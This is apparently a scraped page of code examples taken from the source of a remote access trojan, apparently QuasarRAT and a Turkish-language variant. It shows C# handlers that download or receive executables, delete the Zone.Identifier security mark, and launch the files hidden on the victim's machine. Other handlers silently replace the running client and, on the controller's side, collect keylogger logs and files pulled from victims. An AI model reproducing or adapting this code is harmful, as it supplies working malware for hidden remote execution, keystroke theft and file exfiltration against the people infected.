        public static void HandleDoClientUpdate(DoClientUpdate command, Client client)
        {
            // YARRAK GİBİ UPDATE CODE İNC.
            if (string.IsNullOrEmpty(command.DownloadURL))
            {
                if (!_renamedFiles.ContainsKey(command.ID))
                {
                    _renamedFiles.Add(command.ID, DosyaYardımcısı.TempDosyaDizininiAl(".exe"));
                }

                string filePath = _renamedFiles[command.ID];

                try
                {
                    if (command.CurrentBlock == 0 && !DosyaYardımcısı.ExeValidmiKardeş(command.Block))
                    {
                        throw new Exception("EXE Bulunamadı.");
                    }

                    FileSplit destFile = new FileSplit(filePath);

                    if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                    {
                        throw new Exception(destFile.LastError);
                    }

                    if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload Bitimi
                    {
                        if (_renamedFiles.ContainsKey(command.ID))
                        {
                            _renamedFiles.Remove(command.ID);
                        }
                        new SetStatus("Yükleniyor...").Execute(client);
                        ClientGüncelleyici.Update(client, filePath);
                    }
                }
                catch (Exception ex)
                {
                    if (_renamedFiles.ContainsKey(command.ID))
                    {
                        _renamedFiles.Remove(command.ID);
                    }
                    NativeMethods.DeleteFile(filePath);
                    new SetStatus(string.Format("Yükleme Başarısız: {0}", ex.Message)).Execute(client);
                }

                return;
            }

            new Thread(() =>
            {
                new SetStatus("Dosya İndiriliyor...").Execute(client);

                string tempFile = DosyaYardımcısı.TempDosyaDizininiAl(".exe");

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.DownloadURL, tempFile);
                    }
                }
                catch
                {
                    new SetStatus("İndirme Başarısız").Execute(client);
                    return;
                }

                new SetStatus("Yükleniyor...").Execute(client);

                ClientGüncelleyici.Update(client, tempFile);
            }).Start();
        }
Exemple #19
0
        public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client)
        {
            string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
                command.FileName);

            try
            {
                if (command.CurrentBlock == 0 && Path.GetExtension(command.FileName) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block))
                    throw new Exception("No executable file");

                FileSplit destFile = new FileSplit(filePath);

                if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                {
                    new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
                        client);
                    return;
                }

                if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
                {
                    NativeMethods.DeleteFile(filePath + ":Zone.Identifier");

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = command.RunHidden;
                    startInfo.FileName = filePath;
                    Process.Start(startInfo);

                    new Packets.ClientPackets.SetStatus("Executed File!").Execute(client);
                }
            }
            catch (Exception ex)
            {
                NativeMethods.DeleteFile(filePath);
                new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client);
            }
        }
        public static void HandleGetKeyloggerLogsResponse(Client client, GetKeyloggerLogsResponse packet)
        {
            if (client.Value == null || client.Value.FrmKl == null)
            {
                return;
            }

            if (packet.FileCount == 0)
            {
                client.Value.FrmKl.SetGetLogsEnabled(true);
                return;
            }

            if (string.IsNullOrEmpty(packet.Filename))
            {
                return;
            }

            // don't escape from download directory
            if (FileHelper.CheckPathForIllegalChars(packet.Filename))
            {
                // disconnect malicious client
                client.Disconnect();
                return;
            }

            string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\");

            if (!Directory.Exists(downloadPath))
            {
                Directory.CreateDirectory(downloadPath);
            }

            downloadPath = Path.Combine(downloadPath, packet.Filename + ".html");

            FileSplit destFile = new FileSplit(downloadPath);

            destFile.AppendBlock(packet.Block, packet.CurrentBlock);

            if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
            {
                try
                {
                    File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath));
                }
                catch
                {
                }

                if (packet.Index == packet.FileCount)
                {
                    FileInfo[] iFiles =
                        new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles();

                    if (iFiles.Length == 0)
                    {
                        return;
                    }

                    foreach (FileInfo file in iFiles)
                    {
                        if (client.Value == null || client.Value.FrmKl == null)
                        {
                            break;
                        }

                        client.Value.FrmKl.AddLogToListview(file.Name);
                    }

                    if (client.Value == null || client.Value.FrmKl == null)
                    {
                        return;
                    }

                    client.Value.FrmKl.SetGetLogsEnabled(true);
                }
            }
        }
Exemple #21
0
        public static void HandleDoDownloadFileResponse(Client client, DoDownloadFileResponse packet)
        {
            if (CanceledDownloads.ContainsKey(packet.ID) || string.IsNullOrEmpty(packet.Filename))
            {
                return;
            }

            // don't escape from download directory
            if (packet.Filename.IndexOfAny(DISALLOWED_FILENAME_CHARS) >= 0 || Path.IsPathRooted(packet.Filename))
            {
                // disconnect malicious client
                client.Disconnect();
                return;
            }

            if (!Directory.Exists(client.Value.DownloadDirectory))
            {
                Directory.CreateDirectory(client.Value.DownloadDirectory);
            }

            string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename);

            if (packet.CurrentBlock == 0 && File.Exists(downloadPath))
            {
                for (int i = 1; i < 100; i++)
                {
                    var newFileName = string.Format("{0} ({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath));
                    if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName)))
                    {
                        continue;
                    }

                    downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName);
                    RenamedFiles.Add(packet.ID, newFileName);
                    break;
                }
            }
            else if (packet.CurrentBlock > 0 && File.Exists(downloadPath) && RenamedFiles.ContainsKey(packet.ID))
            {
                downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.ID]);
            }

            if (client.Value == null || client.Value.FrmFm == null)
            {
                FrmMain.Instance.SetStatusByClient(client, "Download aborted, please keep the File Manager open.");
                new Packets.ServerPackets.DoDownloadFileCancel(packet.ID).Execute(client);
                return;
            }

            int index = client.Value.FrmFm.GetTransferIndex(packet.ID);

            if (index < 0)
            {
                return;
            }

            if (!string.IsNullOrEmpty(packet.CustomMessage))
            {
                if (client.Value.FrmFm == null) // abort download when form is closed
                {
                    return;
                }

                client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0);
                return;
            }

            FileSplit destFile = new FileSplit(downloadPath);

            if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock))
            {
                if (client.Value == null || client.Value.FrmFm == null)
                {
                    return;
                }

                client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0);
                return;
            }

            decimal progress =
                Math.Round((decimal)((double)(packet.CurrentBlock + 1) / (double)packet.MaxBlocks * 100.0), 2);

            if (client.Value == null || client.Value.FrmFm == null)
            {
                return;
            }

            if (CanceledDownloads.ContainsKey(packet.ID))
            {
                return;
            }

            client.Value.FrmFm.UpdateTransferStatus(index, string.Format("Downloading...({0}%)", progress), -1);

            if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
            {
                if (client.Value.FrmFm == null)
                {
                    return;
                }
                RenamedFiles.Remove(packet.ID);
                client.Value.FrmFm.UpdateTransferStatus(index, "Completed", 1);
            }
        }
        public static void HandleDoClientUpdate(DoClientUpdate command, Client client)
        {
            // i dont like this updating... if anyone has a better idea feel free to edit it
            if (string.IsNullOrEmpty(command.DownloadUrl))
            {
                if (!_renamedFiles.ContainsKey(command.Id))
                {
                    _renamedFiles.Add(command.Id, FileHelper.GetTempFilePath(".exe"));
                }

                string filePath = _renamedFiles[command.Id];

                try
                {
                    if (command.CurrentBlock == 0 && !FileHelper.IsValidExecuteableFile(command.Block))
                    {
                        throw new Exception("No executable file");
                    }

                    FileSplit destFile = new FileSplit(filePath);

                    if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                    {
                        throw new Exception(destFile.LastError);
                    }

                    if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished
                    {
                        if (_renamedFiles.ContainsKey(command.Id))
                        {
                            _renamedFiles.Remove(command.Id);
                        }
                        client.Send(new SetStatus {
                            Message = "Updating..."
                        });
                        ClientUpdater.Update(client, filePath);
                    }
                }
                catch (Exception ex)
                {
                    if (_renamedFiles.ContainsKey(command.Id))
                    {
                        _renamedFiles.Remove(command.Id);
                    }
                    NativeMethods.DeleteFile(filePath);
                    client.Send(new SetStatus {
                        Message = $"Update failed: {ex.Message}"
                    });
                }

                return;
            }

            new Thread(() =>
            {
                client.Send(new SetStatus {
                    Message = "Downloading file..."
                });

                string tempFile = FileHelper.GetTempFilePath(".exe");

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.DownloadUrl, tempFile);
                    }
                }
                catch
                {
                    client.Send(new SetStatus {
                        Message = "Download failed!"
                    });
                    return;
                }

                client.Send(new SetStatus {
                    Message = "Replacing executable..."
                });

                ClientUpdater.Update(client, tempFile);
            }).Start();
        }
        public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate command, Client client)
        {
            // i dont like this updating... if anyone has a better idea feel free to edit it
            if (string.IsNullOrEmpty(command.DownloadURL))
            {
                string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName);

                try
                {
                    if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z')
                        throw new Exception("No executable file");

                    FileSplit destFile = new FileSplit(filePath);

                    if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                    {
                        new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
                            client);
                        return;
                    }

                    if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished
                    {
                        new Packets.ClientPackets.SetStatus("Updating...").Execute(client);

                        SystemCore.UpdateClient(client, filePath);
                    }
                }
                catch (Exception ex)
                {
                    NativeMethods.DeleteFile(filePath);
                    new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client);
                }

                return;
            }

            new Thread(() =>
            {
                new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client);

                string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
                    FileHelper.GetRandomFilename(12, ".exe"));

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.DownloadURL, tempFile);
                    }
                }
                catch
                {
                    new Packets.ClientPackets.SetStatus("Download failed!").Execute(client);
                    return;
                }

                new Packets.ClientPackets.SetStatus("Updating...").Execute(client);

                SystemCore.UpdateClient(client, tempFile);
            }).Start();
        }